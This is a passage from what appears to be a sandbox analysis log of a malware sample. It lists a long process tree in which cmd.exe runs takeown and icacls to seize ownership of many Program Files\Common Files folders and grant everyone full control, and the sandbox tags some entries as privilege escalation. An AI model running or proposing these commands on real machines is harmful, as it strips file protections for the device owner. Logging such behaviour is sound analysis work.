- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\fr-CA
    3⤵
    PID:1328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\fr-FR && icacls C:\Program Files\Common Files\microsoft shared\ink\fr-FR /grant everyone:(f)
  2⤵
  PID:1524
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\fr-FR
    3⤵
    PID:1136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions && icacls C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions /grant everyone:(f)
  2⤵
  PID:3308
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions
    3⤵
    PID:3276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\auxpad && icacls C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\auxpad /grant everyone:(f)
  2⤵
  PID:2392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\auxpad
    3⤵
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\insert && icacls C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\insert /grant everyone:(f)
  2⤵
  PID:452
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\insert
    3⤵
    PID:4992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\keypad && icacls C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\keypad /grant everyone:(f)
  2⤵
  PID:3156
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\keypad
    3⤵
    PID:3972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\main && icacls C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\main /grant everyone:(f)
  2⤵
  PID:4456
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\main
    3⤵
    PID:3684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskclearui && icacls C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskclearui /grant everyone:(f)
  2⤵
  PID:4000
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskclearui
    3⤵
    PID:4460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu && icacls C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu /grant everyone:(f)
  2⤵
  PID:2372
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu
    3⤵
    PID:1196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\osknav && icacls C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\osknav /grant everyone:(f)
  2⤵
  PID:736
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\osknav
    3⤵
    PID:4856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\osknumpad && icacls C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\osknumpad /grant everyone:(f)
  2⤵
  PID:2800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\osknumpad
    3⤵
    PID:4284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskpred && icacls C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskpred /grant everyone:(f)
  2⤵
  PID:2912
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskpred
    3⤵
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\symbols && icacls C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\symbols /grant everyone:(f)
  2⤵
  PID:744
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\symbols
    3⤵
    PID:3632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\he-IL && icacls C:\Program Files\Common Files\microsoft shared\ink\he-IL /grant everyone:(f)
  2⤵
  PID:4932
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\he-IL
    3⤵
    PID:2924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\hr-HR && icacls C:\Program Files\Common Files\microsoft shared\ink\hr-HR /grant everyone:(f)
  2⤵
  PID:1436
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\hr-HR
    3⤵
    PID:4440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\hu-HU && icacls C:\Program Files\Common Files\microsoft shared\ink\hu-HU /grant everyone:(f)
  2⤵
  PID:3704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\hu-HU
    3⤵
    PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\HWRCustomization && icacls C:\Program Files\Common Files\microsoft shared\ink\HWRCustomization /grant everyone:(f)
  2⤵
  PID:3216
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\HWRCustomization
    3⤵
    PID:4672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\it-IT && icacls C:\Program Files\Common Files\microsoft shared\ink\it-IT /grant everyone:(f)
  2⤵
  PID:3008
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\it-IT
    3⤵
    - Modifies file permissions
    PID:1236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\ja-JP && icacls C:\Program Files\Common Files\microsoft shared\ink\ja-JP /grant everyone:(f)
  2⤵
  PID:1428
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\ja-JP
    3⤵
    PID:3656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\ko-KR && icacls C:\Program Files\Common Files\microsoft shared\ink\ko-KR /grant everyone:(f)
  2⤵
  PID:2552
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\ko-KR
    3⤵
    PID:4228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\LanguageModel && icacls C:\Program Files\Common Files\microsoft shared\ink\LanguageModel /grant everyone:(f)
  2⤵
  PID:2280
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\LanguageModel
    3⤵
    PID:664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\lt-LT && icacls C:\Program Files\Common Files\microsoft shared\ink\lt-LT /grant everyone:(f)
  2⤵
  PID:3332
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\lt-LT
    3⤵
    PID:1896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\lv-LV && icacls C:\Program Files\Common Files\microsoft shared\ink\lv-LV /grant everyone:(f)
  2⤵
  PID:3960
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\lv-LV
    3⤵
    - Possible privilege escalation attempt
    PID:2080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\nb-NO && icacls C:\Program Files\Common Files\microsoft shared\ink\nb-NO /grant everyone:(f)
  2⤵
  PID:4980
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\nb-NO
    3⤵
    PID:3164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\nl-NL && icacls C:\Program Files\Common Files\microsoft shared\ink\nl-NL /grant everyone:(f)
  2⤵
  PID:3800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\nl-NL
    3⤵
    - Modifies file permissions
    PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\pl-PL && icacls C:\Program Files\Common Files\microsoft shared\ink\pl-PL /grant everyone:(f)
  2⤵
  PID:4436
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\pl-PL
    3⤵
    PID:3608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\pt-BR && icacls C:\Program Files\Common Files\microsoft shared\ink\pt-BR /grant everyone:(f)
  2⤵
  PID:3132
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\pt-BR
    3⤵
    PID:4552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\pt-PT && icacls C:\Program Files\Common Files\microsoft shared\ink\pt-PT /grant everyone:(f)
  2⤵
  PID:720
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\pt-PT
    3⤵
    - Modifies file permissions
    PID:908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\ro-RO && icacls C:\Program Files\Common Files\microsoft shared\ink\ro-RO /grant everyone:(f)
  2⤵
  PID:452
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\ro-RO
    3⤵
    PID:2352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\ru-RU && icacls C:\Program Files\Common Files\microsoft shared\ink\ru-RU /grant everyone:(f)
  2⤵
  PID:4428
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\ru-RU
    3⤵
    - Modifies file permissions
    PID:64
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\sk-SK && icacls C:\Program Files\Common Files\microsoft shared\ink\sk-SK /grant everyone:(f)
  2⤵
  PID:2908
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\sk-SK
    3⤵
    PID:4112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\sl-SI && icacls C:\Program Files\Common Files\microsoft shared\ink\sl-SI /grant everyone:(f)
  2⤵
  PID:4800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\sl-SI
    3⤵
    PID:692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\sr-Latn-RS && icacls C:\Program Files\Common Files\microsoft shared\ink\sr-Latn-RS /grant everyone:(f)
  2⤵
  PID:3692
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\sr-Latn-RS
    3⤵
    PID:3936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\sv-SE && icacls C:\Program Files\Common Files\microsoft shared\ink\sv-SE /grant everyone:(f)
  2⤵
  PID:5040
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\sv-SE
    3⤵
    PID:4640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\th-TH && icacls C:\Program Files\Common Files\microsoft shared\ink\th-TH /grant everyone:(f)
  2⤵
  PID:4772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\th-TH
    3⤵
    PID:1532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\tr-TR && icacls C:\Program Files\Common Files\microsoft shared\ink\tr-TR /grant everyone:(f)
  2⤵
  PID:3888
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\tr-TR
    3⤵
    - Possible privilege escalation attempt
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\uk-UA && icacls C:\Program Files\Common Files\microsoft shared\ink\uk-UA /grant everyone:(f)
  2⤵
  PID:464
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\uk-UA
    3⤵
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\zh-CN && icacls C:\Program Files\Common Files\microsoft shared\ink\zh-CN /grant everyone:(f)
  2⤵
  PID:3860
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\zh-CN
    3⤵
    PID:936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\ink\zh-TW && icacls C:\Program Files\Common Files\microsoft shared\ink\zh-TW /grant everyone:(f)
  2⤵
  PID:4944
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\ink\zh-TW
    3⤵
    PID:2092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo && icacls C:\Program Files\Common Files\microsoft shared\MSInfo /grant everyone:(f)
  2⤵
  PID:4480
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo
    3⤵
    PID:4744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo\de-DE && icacls C:\Program Files\Common Files\microsoft shared\MSInfo\de-DE /grant everyone:(f)
  2⤵
  PID:2636
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo\de-DE
    3⤵
    PID:4936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo\en-US && icacls C:\Program Files\Common Files\microsoft shared\MSInfo\en-US /grant everyone:(f)
  2⤵
  PID:3508
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo\en-US
    3⤵
    PID:60
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo\es-ES && icacls C:\Program Files\Common Files\microsoft shared\MSInfo\es-ES /grant everyone:(f)
  2⤵
  PID:3500
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo\es-ES
    3⤵
    PID:1428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo\fr-FR && icacls C:\Program Files\Common Files\microsoft shared\MSInfo\fr-FR /grant everyone:(f)
  2⤵
  PID:1452
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo\fr-FR
    3⤵
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo\it-IT && icacls C:\Program Files\Common Files\microsoft shared\MSInfo\it-IT /grant everyone:(f)
  2⤵
  PID:1868
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo\it-IT
    3⤵
    - Possible privilege escalation attempt
    PID:4228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo\ja-JP && icacls C:\Program Files\Common Files\microsoft shared\MSInfo\ja-JP /grant everyone:(f)
  2⤵
  PID:2084
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo\ja-JP
    3⤵
    PID:4764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo\uk-UA && icacls C:\Program Files\Common Files\microsoft shared\MSInfo\uk-UA /grant everyone:(f)
  2⤵
  PID:1480
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\MSInfo\uk-UA
    3⤵
    PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\OFFICE16 && icacls C:\Program Files\Common Files\microsoft shared\OFFICE16 /grant everyone:(f)
  2⤵
  PID:2436
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\OFFICE16
    3⤵
    PID:4980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller && icacls C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller /grant everyone:(f)
  2⤵
  PID:1464
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller
    3⤵
    PID:3276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform && icacls C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform /grant everyone:(f)
  2⤵
  PID:3308
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform
    3⤵
    PID:4396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\Source Engine && icacls C:\Program Files\Common Files\microsoft shared\Source Engine /grant everyone:(f)
  2⤵
  PID:624
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\Source Engine
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\Stationery && icacls C:\Program Files\Common Files\microsoft shared\Stationery /grant everyone:(f)
  2⤵
  PID:4900
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\Stationery
    3⤵
    PID:4364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\TextConv && icacls C:\Program Files\Common Files\microsoft shared\TextConv /grant everyone:(f)
  2⤵
  PID:4852
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\TextConv
    3⤵
    - Modifies file permissions
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\TextConv\en-US && icacls C:\Program Files\Common Files\microsoft shared\TextConv\en-US /grant everyone:(f)
  2⤵
  PID:3928
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\TextConv\en-US
    3⤵
    - Modifies file permissions
    PID:528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\Triedit && icacls C:\Program Files\Common Files\microsoft shared\Triedit /grant everyone:(f)
  2⤵
  PID:4800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\Triedit
    3⤵
    PID:3936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\Triedit\en-US && icacls C:\Program Files\Common Files\microsoft shared\Triedit\en-US /grant everyone:(f)
  2⤵
  PID:2328
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\Triedit\en-US
    3⤵
    PID:1124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\VC && icacls C:\Program Files\Common Files\microsoft shared\VC /grant everyone:(f)
  2⤵
  PID:4592
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\VC
    3⤵
    PID:4640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\VGX && icacls C:\Program Files\Common Files\microsoft shared\VGX /grant everyone:(f)
  2⤵
  PID:1532
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\VGX
    3⤵
    PID:3412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\VSTO && icacls C:\Program Files\Common Files\microsoft shared\VSTO /grant everyone:(f)
  2⤵
  PID:2252
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\VSTO
    3⤵
    PID:392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\VSTO\10.0 && icacls C:\Program Files\Common Files\microsoft shared\VSTO\10.0 /grant everyone:(f)
  2⤵
  PID:4368
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\VSTO\10.0
    3⤵
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\microsoft shared\VSTO\10.0\1033 && icacls C:\Program Files\Common Files\microsoft shared\VSTO\10.0\1033 /grant everyone:(f)
  2⤵
  PID:2700
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\microsoft shared\VSTO\10.0\1033
    3⤵
    PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\Services && icacls C:\Program Files\Common Files\Services /grant everyone:(f)
  2⤵
  PID:4932
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\Services
    3⤵
    PID:680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System && icacls C:\Program Files\Common Files\System /grant everyone:(f)
  2⤵
  PID:1436
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System
    3⤵
    PID:2412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\ado && icacls C:\Program Files\Common Files\System\ado /grant everyone:(f)
  2⤵
  PID:4744
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\ado
    3⤵
    PID:444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\ado\de-DE && icacls C:\Program Files\Common Files\System\ado\de-DE /grant everyone:(f)
  2⤵
  PID:436
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\ado\de-DE
    3⤵
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\ado\en-US && icacls C:\Program Files\Common Files\System\ado\en-US /grant everyone:(f)
  2⤵
  PID:4360
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\ado\en-US
    3⤵
    PID:4884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\ado\es-ES && icacls C:\Program Files\Common Files\System\ado\es-ES /grant everyone:(f)
  2⤵
  PID:3992
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\ado\es-ES
    3⤵
    - Possible privilege escalation attempt
    PID:3244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\ado\fr-FR && icacls C:\Program Files\Common Files\System\ado\fr-FR /grant everyone:(f)
  2⤵
  PID:4136
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\ado\fr-FR
    3⤵
    PID:3688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\ado\it-IT && icacls C:\Program Files\Common Files\System\ado\it-IT /grant everyone:(f)
  2⤵
  PID:2096
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\ado\it-IT
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\ado\ja-JP && icacls C:\Program Files\Common Files\System\ado\ja-JP /grant everyone:(f)
  2⤵
  PID:2704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\ado\ja-JP
    3⤵
    PID:2436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\de-DE && icacls C:\Program Files\Common Files\System\de-DE /grant everyone:(f)
  2⤵
  PID:964
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\de-DE
    3⤵
    PID:3172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\en-US && icacls C:\Program Files\Common Files\System\en-US /grant everyone:(f)
  2⤵
  PID:3136
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\en-US
    3⤵
    PID:3308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\es-ES && icacls C:\Program Files\Common Files\System\es-ES /grant everyone:(f)
  2⤵
  PID:720
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\es-ES
    3⤵
    PID:864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\fr-FR && icacls C:\Program Files\Common Files\System\fr-FR /grant everyone:(f)
  2⤵
  PID:4364
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\fr-FR
    3⤵
    PID:4428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\it-IT && icacls C:\Program Files\Common Files\System\it-IT /grant everyone:(f)
  2⤵
  PID:4452
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\it-IT
    3⤵
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\ja-JP && icacls C:\Program Files\Common Files\System\ja-JP /grant everyone:(f)
  2⤵
  PID:4112
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\ja-JP
    3⤵
    PID:2260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\msadc && icacls C:\Program Files\Common Files\System\msadc /grant everyone:(f)
  2⤵
  PID:3900
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\msadc
    3⤵
    PID:2632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\msadc\de-DE && icacls C:\Program Files\Common Files\System\msadc\de-DE /grant everyone:(f)
  2⤵
  PID:4468
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\msadc\de-DE
    3⤵
    PID:668
- C:\Windows\System32\cmd.exe
